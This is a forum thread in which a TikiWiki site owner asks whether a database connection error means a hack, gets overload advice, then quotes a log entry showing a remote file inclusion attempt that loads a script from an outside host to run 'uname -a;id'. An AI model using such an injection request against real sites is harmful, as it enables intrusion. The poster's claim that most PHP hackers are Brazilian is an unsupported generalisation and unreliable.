Loading...
 
Features / Usability

Features / Usability

Forum List Topic List

 
Thread actions
PDF Print this page
  • Print all pages

    • Have I been hacked?

    Posted by JayBee posts: 5 United Kingdom

    TW 1.9
    http://oakisland.esolutionswork.com
    Been working well for a few moths; just got this:
    Main page reads:

    ''TikiWiki is not properly set up:
    Unable to connect to the database !
    Go here to begin the installation process, if you haven't done so already.

    Too many connections''

    MyAdmin, logging on ok, saw no DBs, then this:

    ''Welcome to phpMyAdmin 2.6.3-pl1
    Wrong username/password. Access denied''.

    So, have I been hacked?

    Reads: 980
    Link
    Posted by bpco posts: 32 Iran

    To my knowledge, it could be on of the followings:

    -Your MySQL server reached its maximum number of simultaneous connections. To solve this, you can either use mysql_pconnect instead of mysql _connect and then restart your server, or change mysql.max_links in your php.ini to a higher one.
    -Your database userid and/or password has been changed.

    Link

    Posted by Damian Parker posts: 2881 United Kingdom


    Check the validity of db/local.php

    If it doesnt exist or doesnt contain valid data then yes. But usually too many connections means the mysql server is overloaded.

    Damian
    http://tikihost.net

    Link

    Posted by JayBee posts: 5 United Kingdom

    Many thanks for that advice. It was a case of server overload.

    Looking at my logs this morning, I noticed this visitor;

    Host: 200.150.137.163 /index.php?page=http://www.noti-auto.com.ar/cmd2.gif?&cmd=uname%20-a;id
    Http Code: 406 Date: Aug 24 07:29:07 Http Version: HTTP/1.1 Size in Bytes: 353
    Referer: -
    Agent: -

    I see that this is from Brazil:
    Brazil - Ceará - Fortaleza - Comite Gestor Da Internet No Brasil

    I am aware of this nation being home to the vast majority of php cms hackers, so I was curious to see the page the visitor came from:
    http://www.noti-auto.com.ar/cmd2.gif?&cmd=uname%20-a;id

    It is a script. I realise that I may be merely paranoid, but could this be an example of somebody running a script in a hack attempt?
    If so, then I may just ban the ip for Brazil.

    Cheers!

    Link